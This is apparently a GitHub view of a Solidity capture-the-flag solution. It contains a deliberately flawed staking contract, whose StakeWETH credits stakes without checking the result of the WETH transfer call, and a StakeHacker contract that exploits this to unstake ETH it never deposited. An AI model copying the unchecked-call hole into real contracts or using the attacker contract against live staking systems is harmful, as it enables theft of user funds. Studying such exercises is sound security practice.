-
Notifications
You must be signed in to change notification settings - Fork 116
/
Copy pathStake.sol
90 lines (78 loc) · 2.53 KB
/
Stake.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Stake {
uint256 public totalStaked;
mapping(address => uint256) public UserStake;
mapping(address => bool) public Stakers;
address public WETH;
constructor(address _weth) payable {
totalStaked += msg.value;
WETH = _weth;
}
function StakeETH() public payable {
require(msg.value > 0.001 ether, "Don't be cheap");
totalStaked += msg.value;
UserStake[msg.sender] += msg.value;
Stakers[msg.sender] = true;
}
function StakeWETH(uint256 amount) public returns (bool) {
require(amount > 0.001 ether, "Don't be cheap");
(, bytes memory allowance) = WETH.call(
abi.encodeWithSelector(0xdd62ed3e, msg.sender, address(this))
);
require(
bytesToUint(allowance) >= amount,
"How am I moving the funds honey?"
);
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(
abi.encodeWithSelector(
0x23b872dd,
msg.sender,
address(this),
amount
)
);
Stakers[msg.sender] = true;
return transfered;
}
function Unstake(uint256 amount) public returns (bool) {
require(UserStake[msg.sender] >= amount, "Don't be greedy");
UserStake[msg.sender] -= amount;
totalStaked -= amount;
(bool success, ) = payable(msg.sender).call{value: amount}("");
return success;
}
function bytesToUint(bytes memory data) internal pure returns (uint256) {
require(data.length >= 32, "Data length must be at least 32 bytes");
uint256 result;
assembly {
result := mload(add(data, 0x20))
}
return result;
}
}
contract StakeHacker {
address public target;
constructor(address _target) {
target = _target;
}
function stake() public payable {
Stake(target).StakeETH{value: msg.value}();
}
function unstake() public {
uint256 amount = Stake(target).UserStake(address(this));
Stake(target).Unstake(amount);
}
function stakeWETH(uint256 amount) public {
Stake(target).StakeWETH(amount);
}
function approve(address _target) public {
ERC20(Stake(target).WETH()).approve(_target, 100 ether);
}
receive() external payable {
Stake(target).StakeETH{value: msg.value}();
}
}